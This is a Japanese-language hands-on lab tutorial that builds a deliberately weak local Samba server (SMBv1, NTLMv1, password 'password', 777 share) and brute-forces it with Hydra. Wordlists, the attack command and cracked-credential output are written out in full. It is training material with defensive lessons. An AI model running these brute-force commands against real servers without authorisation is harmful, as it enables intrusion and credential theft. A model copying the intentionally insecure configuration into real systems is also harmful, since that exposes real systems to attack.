Hydra を用いた SMB サービス攻撃

HydraBeginner
オンラインで実践に進む

はじめに

この実験では、強力なパスワードクラッキングツールである Hydra を使用して、SMB(Server Message Block)サービスを攻撃する方法を学びます。この実験は、SMB サーバー上の弱い認証情報を特定し、悪用する方法を示すことに焦点を当てています。

まず、Samba を使用してローカル SMB サーバーを設定します。必要なパッケージをインストールし、smb.confファイルを設定して共有ディレクトリを作成し、適切な権限を設定します。次に、Hydra 攻撃で使用されるユーザー名とパスワードのリストを準備します。最後に、Hydra SMB 攻撃を実行し、結果を確認して、認証情報が成功裏にクラッキングされたかどうかを確認します。

ローカル SMB サーバーの設定

このステップでは、Samba を使用してローカル SMB (Server Message Block) サーバーを設定します。SMB は、コンピュータ上のアプリケーションがリモートサーバー上のファイルやリソースにアクセスできるようにするネットワークファイル共有プロトコルです。Samba は、SMB ネットワークプロトコルのフリーソフトウェアによる再実装です。これは、後のステップで Hydra SMB 攻撃のターゲットとなります。

まず、Samba をインストールしましょう。~/project ディレクトリでターミナルを開きます。

sudo apt update
sudo apt install samba -y

このコマンドは、パッケージリストを更新し、その後 Samba パッケージをインストールします。-y フラグは、インストール中のプロンプトに自動的に「yes」と答えます。

次に、Samba を設定する必要があります。最初に、元の設定ファイルをバックアップします。

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

次に、既存の設定ファイルを上書きすることで、新しい、クリーンな設定ファイルを作成します。このアプローチは、デフォルトの Ubuntu Samba 設定との競合を回避します。

次のコマンドをコピーしてターミナルで実行してください。コマンドが正しくコピーされていることを確認してください。

sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = fileserver
   security = user
   map to guest = never
   ## 匿名アクセスを無効化
   restrict anonymous = 2
   ## Hydra との互換性のために明示的に SMBv1 と NTLMv1 を有効化
   server min protocol = NT1
   client min protocol = NT1
   ntlm auth = ntlmv1-permitted
   ## ローカルホストへのバインド
   interfaces = 127.0.0.1
   bind interfaces only = yes
   ## ログ
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   debug level = 3

[share]
   path = /home/labex/project/share
   browsable = yes
   writable = yes
   guest ok = no
   read only = no
   valid users = labex
EOF

このコマンドは、/etc/samba/smb.conf の内容を完全に、私たちのクリーンな設定に置き換えます。

重要な設定点:

  • map to guest = never - 匿名ゲストアクセスを防止
  • restrict anonymous = 2 - 匿名アクセスを完全に無効化
  • server min protocol = NT1client min protocol = NT1 - Hydra との互換性のために SMBv1 を有効化
  • ntlm auth = ntlmv1-permitted - テストのために NTLMv1 認証を許可
  • interfaces = 127.0.0.1bind interfaces only = yes - ローカルホストへのアクセスのみを制限
  • guest ok = no - 共有へのゲストアクセスを無効化
  • valid users = labex - 特定のユーザーへのアクセスのみを許可

なぜファイル全体を上書きするのか:

  • Ubuntu のデフォルト Samba 設定との競合を回避
  • Hydra テストに最適化されたクリーンで最小限の設定を保証
  • 重複または競合するディレクティブの可能性を排除
  • すべてのユーザーにとって一貫した出発点を提供

この設定により、Hydra は匿名アクセスからの干渉なしに、認証試行を正しく検出できます。

次に、共有ディレクトリを作成します。

mkdir ~/project/share
sudo chmod 777 ~/project/share

これは、~/project ディレクトリに share という名前のディレクトリを作成し、そのパーミッションを 777 に設定します。これは、すべての人が読み取り、書き込み、実行の権限を持つことを意味します。注意: 実際の状況では、より制限的なパーミッションを使用する必要があります。この実験環境では、簡略化のために 777 を使用しています。

次に、Samba ユーザーを追加する必要があります。このユーザーは、SMB サーバーに認証するために使用されます。システム上に既に存在する labex ユーザーを使用します。まず、labex ユーザーの Samba パスワードを設定します。

sudo smbpasswd -a labex

labex ユーザーの新しいパスワードを入力するよう求められます。password と入力し、確認します。

New SMB password:
Retype new SMB password:
Added user labex.

最後に、変更を適用するために Samba サービスを再起動します。

sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart

出力は次のようになります。

 * Stopping SMB/CIFS daemon smbd                                        [ OK ]
 * Starting SMB/CIFS daemon smbd                                        [ OK ]
 * Stopping NetBIOS name server nmbd                                    [ OK ]
 * Starting NetBIOS name server nmbd                                    [ OK ]

このコマンドは、Samba 設定の構文エラーをチェックし、アクティブな設定を表示します。エラーなしで設定が確認された出力が表示されるはずです。

これで、適切なセキュリティ設定を持つローカル SMB サーバーが設定されました。share という名前の共有ディレクトリを作成し、labex ユーザーに Samba パスワードを追加しました。設定は、Hydra 攻撃と正しく動作するように最適化されています。

ユーザー名とパスワードリストの準備

このステップでは、Hydra が SMB 攻撃を実行するために使用するユーザー名とパスワードのリストを作成します。これらのリストには、Hydra が SMB サーバーに認証するために試行する可能性のあるユーザー名とパスワードが含まれます。

最初に、ユーザーリストを作成します。nano を使用して、~/project ディレクトリに users.txt という名前のファイルを作成します。

nano ~/project/users.txt

このファイルに、以下のユーザー名を 1 行ずつ追加します。

labex
admin
guest
user
test
root

Ctrl+XYEnter の順に押してファイルを保存します。

次に、パスワードリストを作成します。nano を使用して、~/project ディレクトリに passwords.txt という名前のファイルを作成します。

nano ~/project/passwords.txt

このファイルに、以下のパスワードを 1 行ずつ追加します。

password
123456
labex
admin
guest

Ctrl+XYEnter の順に押してファイルを保存します。

これらのリストは、デモのために単純なものです。実際の状況では、はるかに大きく複雑なリストを使用する必要があります。

これで、ユーザー名リストを含む users.txt ファイルと、パスワードリストを含む passwords.txt ファイルを作成しました。Hydra は、次のステップでこれらのリストを使用して、SMB サーバーのパスワードをクラッキングしようとします。

Hydra SMB 攻撃を実行する

このステップでは、最初のステップで設定した SMB サーバーに対して、Hydra を使用してブルートフォース攻撃を実行します。Hydra は、多数のプロトコルをサポートする並列ログインクラッカーです。

~/project ディレクトリでターミナルを開きます。

それでは、SMB サービスを攻撃するための Hydra コマンドを実行します。

hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb

このコマンドを分解してみましょう。

  • hydra: Hydra ツールを実行するためのコマンドです。
  • -L ~/project/users.txt: ユーザー名リストファイルへのパスを指定します。
  • -P ~/project/passwords.txt: パスワードリストファイルへのパスを指定します。
  • 127.0.0.1: ターゲットの SMB サーバーの IP アドレスです(この場合は localhost)。
  • smb: 攻撃対象のサービス (SMB) を指定します。

Hydra は、提供したリストのユーザー名とパスワードを使用して、SMB サーバーへのログインを試行し始めます。有効なユーザー名とパスワードの組み合わせが見つかるまで、またはすべての可能性を使い果たすまで、試行を続けます。

ステップ 1 で適切に設定された SMB サーバーの場合、成功した認証情報の発見が表示されます。

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17

出力の理解:

  • [445][smb] host: 127.0.0.1 login: labex password: password は、Hydra が有効な認証情報を成功裏に見つけたことを示します。
  • ユーザー名: labex
  • パスワード: password
  • サマリーには「1 valid password found」と表示され、攻撃の成功が確認されます。

重要な注意事項: この攻撃は、教育目的でローカル SMB サーバーに対して実行されています。Hydra の動作を示すために、サーバーを特に設定しました。本番環境では、セキュリティ上の理由から SMBv1 を無効にする必要があります。リモートシステムへの未承認の攻撃は違法かつ不道徳です。

コマンドの実行には、ユーザー名とパスワードリストのサイズによって時間がかかる場合があります。Hydra がパスワードを成功裏にクラッキングした時点を確認するために、出力を確認してください。

SMB 攻撃結果の確認

このステップでは、Hydra による SMB 攻撃の結果を分析し、認証情報の発見が成功したことを確認し、SMB 共有に接続することで、クラッキングされた認証情報を検証します。

前のステップで Hydra コマンドを実行(およびトラブルシューティング手順を適用した場合)後、次の様な成功した出力が表示されるはずです。

[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found

この行は、Hydra が SMB 認証情報を成功裏にクラッキングしたことを示しています。

  • ユーザー名: labex
  • パスワード: password

クラッキングされた認証情報の検証:
クラッキングされた認証情報が有効であることを確認するために、smbclient コマンドを使用して SMB 共有に接続できます。まず、インストールされていない場合はインストールします。

sudo apt update
sudo apt install smbclient -y

次の様な出力が表示されるはずです。

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsmbclient
The following NEW packages will be installed:
  libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...

次に、クラッキングされた認証情報を使用して SMB 共有に接続します。

smbclient //127.0.0.1/share -U labex%password

このコマンドを分解してみましょう。

  • smbclient: サーバー上の SMB/CIFS リソースにアクセスするためのコマンドラインユーティリティです。
  • //127.0.0.1/share: SMB 共有へのパスです。127.0.0.1 はローカル SMB サーバーの IP アドレス、share は共有ディレクトリの名前です。
  • -U labex%password: Hydra がクラッキングしたユーザー名 (labex) とパスワード (password) を指定します。ユーザー名とパスワードは % 記号で区切られています。

接続が成功すると、smb:\> プロンプトが表示され、クラッキングされた認証情報を使用して SMB 共有に接続できたことを示します。

Try "help" to get a list of possible commands.
smb: \>

その後、exit と入力して Enter キーを押すと、smbclient プロンプトを終了できます。

exit

この接続の成功は、以下のことを確認します。

  1. Hydra が SMB 認証情報を成功裏にクラッキングした
  2. ユーザー名とパスワードの組み合わせが有効である
  3. 攻撃は設定された SMB サーバーに対して有効であった
  4. クラッキングされた認証情報により、共有ディレクトリへのアクセスが可能である

セキュリティ上の影響:
この成功した攻撃は、以下のことの重要性を示しています。

  • 強力かつ複雑なパスワードの使用
  • アカウントロックアウトポリシーの実装
  • ブルートフォース攻撃の監視
  • 不要なサービスとプロトコルの無効化
  • 定期的なセキュリティ監査と侵入テスト

まとめ

この実験では、強力なパスワードクラッキングツールである Hydra を使用して SMB サービスを攻撃する方法を学びました。まず、必要なパッケージをインストールし、smb.conf ファイルを構成して Hydra との互換性のために SMBv1 と NTLMv1 サポート付きの共有ディレクトリを作成し、適切な権限を設定することで、Samba を使用してローカル SMB サーバーを設定しました。

次に、Hydra 攻撃で使用するためのユーザー名とパスワードリスト (users.txt に 6 つのユーザー名、passwords.txt に 5 つのパスワード) を準備しました。ステップ 1 で適切に設定された SMB サーバーを用いて、Hydra による SMB 攻撃は、ユーザー名 labex とパスワード password の有効な組み合わせを見つけることで、SMB 認証情報を成功裏にクラッキングしました。

発見された認証情報を使用して smbclient で SMB 共有に接続することで、攻撃の成功を確認し、クラッキングされた認証情報が共有ディレクトリへの正当なアクセスを提供することを実証しました。

この実験は、以下の点を効果的に示しました。

  1. Hydra の能力: Hydra が SMB サービスに対してユーザー名とパスワードの組み合わせを体系的にテストできること
  2. 適切な設定: セキュリティテストのためにターゲットサービスを正しく設定することの重要性
  3. ブルートフォース攻撃の手法: ワードリストの準備と自動化された攻撃の実行プロセス
  4. 攻撃の検証: 認証情報の発見が成功したことを確認することの重要性
  5. セキュリティ設定: 正しい SMB 設定により匿名アクセスを防ぎながら、正当な認証テストを可能にする方法

重要なセキュリティ上の教訓:

  • 弱いパスワードはブルートフォース攻撃に対して脆弱である
  • サービスの適切な設定は、セキュリティとテストの両方にとって重要である
  • 匿名アクセスを無効にすることで、明確な認証結果が得られる
  • Hydra のような自動化ツールは、多くの認証情報の組み合わせを迅速にテストできる
  • 定期的なセキュリティテストは、攻撃者が脆弱性を発見する前に脆弱性を特定するのに役立つ

重要な注意事項: この攻撃は、教育目的のために特別に設定されたローカル SMB サーバーで行われました。本番環境では、SMBv1 を無効にし、強力なパスワードポリシーを適用し、ブルートフォース攻撃を検出するための監視を実施する必要があります。リモートシステムへの未承認の攻撃は違法かつ不道徳です。